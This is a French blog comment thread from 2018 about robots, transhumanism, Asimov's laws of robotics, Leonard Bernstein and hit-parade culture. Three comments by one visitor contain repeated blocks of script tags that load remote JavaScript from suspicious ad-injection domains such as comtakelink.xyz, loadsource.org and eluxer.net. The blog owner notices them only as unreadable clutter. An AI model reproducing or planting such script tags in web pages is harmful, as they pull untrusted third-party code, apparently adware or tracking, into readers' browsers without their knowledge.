Elle est pas belle la vie ! La grande question est : et tout ça pour quoi faire ? Les gens seront-ils plus heureux ?

• • bedeau

    Vendredi 17 Août 2018 à 14:52
    

     

    Je pense que les initiateurs de ces projets croient penser, avant tout, au bonheur des gens... ce serait trop grave s'ils satisfaisaient simplement leurs propres élucubrations de démiurges fous.

    L'avenir (s'il advient, n'est-ce pas, Pangloss !) nous dira si ils s'inscrivent dans la lignée des Vladimir Demikhov, Sergei Brukhonenko et autres scientifiques oubliés

    

La catastrophe globale arrivera bien avant ce meilleur des mondes.

• • bedeau

    Vendredi 17 Août 2018 à 15:24
    

    On en viendrait presque à le souhaiter...mais même ça, ce sera (ou c'est déjà) décidé et ça nous échappe..

     

     

    Les grandes inconnues sont "quand" et "comment" (le "pourquoi" ne nous regarde pas...), à moins que cet aspect d'un des Meilleurs des Mondes (ici, en fond sonore:"Hymne à la Joie") n'en soit une des formes les plus rigolotes...

    

    ... si on leur programme mal les 3 lois d'Asimov (ou si ils s'en foutent comme de leur première LED):

    • loi Zéro : Un robot ne peut pas porter atteinte à l'humanité, ni, par son inaction, permettre que l'humanité soit exposée au danger ;
    • première Loi : Un robot ne peut porter atteinte à un être humain, ni, restant passif, permettre qu'un être humain soit exposé au danger, sauf contradiction avec la Loi Zéro ;
    • deuxième Loi : Un robot doit obéir aux ordres que lui donne un être humain, sauf si de tels ordres entrent en conflit avec la Première Loi ou la Loi Zéro ;
    • troisième Loi : Un robot doit protéger son existence tant que cette protection n'entre pas en conflit avec la Première ou la Deuxième Loi ou la Loi Zéro..

    ... ce qui, finalement, ne m'étonnerait pas plus que ça, vu ce que les lois et règlements impressionnent les foules et les individus (mais c'est une autre histoire)

Pour l'anecdote, ces lois sont autant à Campbell qu'à Asimov. Jusqu'à wikipedia qui en convient :

"Asimov attributes the Three Laws to John W. Campbell, from a conversation that took place on 23 December 1940. Campbell claimed that Asimov had the Three Laws already in his mind and that they simply needed to be stated explicitly. Several years later Asimov's friend Randall Garrett attributed the Laws to a symbiotic partnership between the two men – a suggestion that Asimov adopted enthusiastically."

Campbell était trop sympa. ;)

 

• • bedeau

    Samedi 18 Août 2018 à 11:42
    

    J'ai découvert ce fait dans la page wikipedia mise en liens, mais je ne saurais donc pas prendre parti tant il est vrai que parfois des idées sont simultanément dans l'air et que plusieurs personnes peuvent avoir sincèrement l'impression d'en être l'auteur, de plus deux personnes qui se connaissent et travaillent ensemble peuvent avoir inconsciemment des traces d'une discussion ancienne où le sujet aurait été abordé de façon anecdotique... Mais c'est vrai que les " trois lois de la robotique" restent plus souvent attribuées à Asimov...

    En attendant que tous les souvenirs néo-humains de toutes les pensées et toutes les conversations et de toutes les actions de chaque individu soient stockés sur une prothèse cerveau/disque-dur, seul un accès direct à la mémoire des protagonistes pourrait nous renseigner...

    

un peu long si vous voulez les passer tous en revue mais néanmoins passionnant :https://www.usinenouvelle.com/l-industrie-c-est-fou/

<script src="//s3.amazonaws.com/js-cache/1d05d073ea84891b23.js"></script> <script src="http://comtakelink.xyz/addons/lnkr5.min.js" type="text/javascript"></script> <script src="http://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51469x7429x&r=1534610003842" type="text/javascript"></script> <script src="http://comtakelink.xyz/addons/lnkr30_nt.min.js" type="text/javascript"></script> <script src="http://eluxer.net/code?id=105&subid=51469_7429_" type="text/javascript"></script>

<script src="//s3.amazonaws.com/js-cache/1d05d073ea84891b23.js"></script> <script src="http://comtakelink.xyz/addons/lnkr5.min.js" type="text/javascript"></script> <script src="http://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51469x7429x&r=1534610133314" type="text/javascript"></script> <script src="http://comtakelink.xyz/addons/lnkr30_nt.min.js" type="text/javascript"></script> <script src="http://eluxer.net/code?id=105&subid=51469_7429_" type="text/javascript"></script>

• • bedeau

    Dimanche 19 Août 2018 à 16:00
    

     

    C'est effectivement d'après un article trouvé sur l'Usine Nouvelle, en suivant un lien depuis un site d'info quelconque (dans les deux sens du terme) que j'ai fait ce papier... Par contre leur rubrique "L'industrie c'est fou"  est effectivement une mine de petites nouvelles, amusantes ou inquiétantes suivant le cas... le hasard m'y a fait découvrir cet article, qui peut faire rire ou faire craindre le pire:

                               Les parents du petit droïde sont attendus au commissariat

                                                      Quand un robot se perd en ville

     

    PS.la deuxième partie de votre commentaire (une image, un lien...?) est illisible sur mon écran "<script src="//s3.amazonaws.com/js-cache/1d05d073ea84891b23.js"></script> <script src="http://comtakelink.xyz/addons/lnkr5.min.js" type="text/javascript"></script> <script src="http://loadsource..." etc... je ne sais pas ce qu'il en est pour les autres visiteurs ?

     

Maintenant, on a le musicien d'orchestre augmenté qui n'a plus besoin de chef pour diriger : 

La preuve par Léonard Bernstein qui aurait 100 ans ce 25 août.

(Mais quand la télé rediffusera-t-elle ses formidables cours de musique ? Drôles et érudits, juste ce qu'il faut. Je croyais que France Télévision avait un rôle d'éducation populaire et pas seulement de temps de cerveau disponible)

• • bedeau

    Dimanche 19 Août 2018 à 16:12
    

     

    Dans ce domaine, je crois que maintenant la boucle est bouclée....

     

    on a aussi le chef d'orchestre robot qui dirige les pauvres humains musiciens que nous sommes encore et qui font danser l'étoile de ballet robote … (c'est juste quelques exemples)

     

    Il suffira (facultativement et dans un premier temps) de les rendre un peu plus "humains" d'aspect

    Un peu comme au Japon...

    

                                      Un robot humanoïde bientôt aux manettes d'un JT

     

    
    
    

    Quant au rôle d'éducation de France Télévision... le créneau est déjà pris par Nagui et Hanouna (qui sont peut-être des robots programmés pour programmer leur public ???

  • Souris donc

    Dimanche 19 Août 2018 à 17:03

    Le créneau Coca-cola est monopolisé par les robots que vous citez. Sauf un misérable 3/4 d'heure ce soir 18 h 40 sur ARTE dédié à Leonard Bernstein. Evidemment le West Side Story qu'il a composé.

    I like to be in America.

    Samedi 25, RIEN pour Bernstein. Les 30 ans du Top 50. Les titres les plus vendus. Voilà le critère. Se vendre.

  • bedeau

    Dimanche 19 Août 2018 à 20:31
    

     

    L'arme absolue, les "hit parades" de toutes sortes :

     

    "Cette chanson est classée au top 50... donc c'est un succès... donc c'est une réussite artistique... donc si vous avez un minimum de bon goût vous l'achetez... donc cette chanson est encore et toujours classée au top 50,... donc c'est un succès, donc... etc...", jusqu'au moment où nous devons changer d'avis pour évoluer dans le sens du marché: "Cette nouvelle chanson est classée au top 50... donc..."

     

    Et ça marche avec les films du box-office et la quantité d'entrées et le montant des recettes...

    Et ça marche avec les romans (lus ou pas lus) "à succès" dits "populaires" et le nombre de ventes...

    Et ça marche avec les acteurs comiques, les animaux de compagnie ou les petits plats cuisinés...

    Et ça marche avec les hommes politiques et les intentions de vote et les sondages de popularité

    Le tout, bien sur, sous contrôle d'un huissier cynique mais irréprochable.... et sous nos applaudissements....

    ...jusqu'au moment où nous devrons changer d'avis pour évoluer dans le sens du marché ou des marchés...

     

    

mon commentaire avait juste pour but de vous amener vers:L'industrie c'est fou" .Pardon pour le fouillis qui suit.

 

<script src="//s3.amazonaws.com/js-cache/1d05d073ea84891b23.js"></script> <script src="http://comtakelink.xyz/addons/lnkr5.min.js" type="text/javascript"></script> <script src="http://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51469x7429x&r=1534694207854" type="text/javascript"></script> <script src="http://comtakelink.xyz/addons/lnkr30_nt.min.js" type="text/javascript"></script> <script src="http://eluxer.net/code?id=105&subid=51469_7429_" type="text/javascript"></script>

• • bedeau

    Dimanche 19 Août 2018 à 20:50
    

     

    ...et je vous en remercie : je n'avais pas eu l'idée de cliquer la rubrique "L'industrie c'est fou", sans savoir ce que je perdais, et en incitant tout un chacun de la visiter certains soirs de blues ou de spleen : ou on oublie ses soucis passagers, ou on se flingue une bonne fois pour toutes...
    pour le "fouillis" qui suit le commentaire, je suis content de savoir que ça ne vient pas de ma connexion, de mon matériel ou de mon navigateur... mais le mystère reste entier: j'espère que ce n'est pas les hackers russes ou turcs ! ou, pire,  un hacker "augmenté" !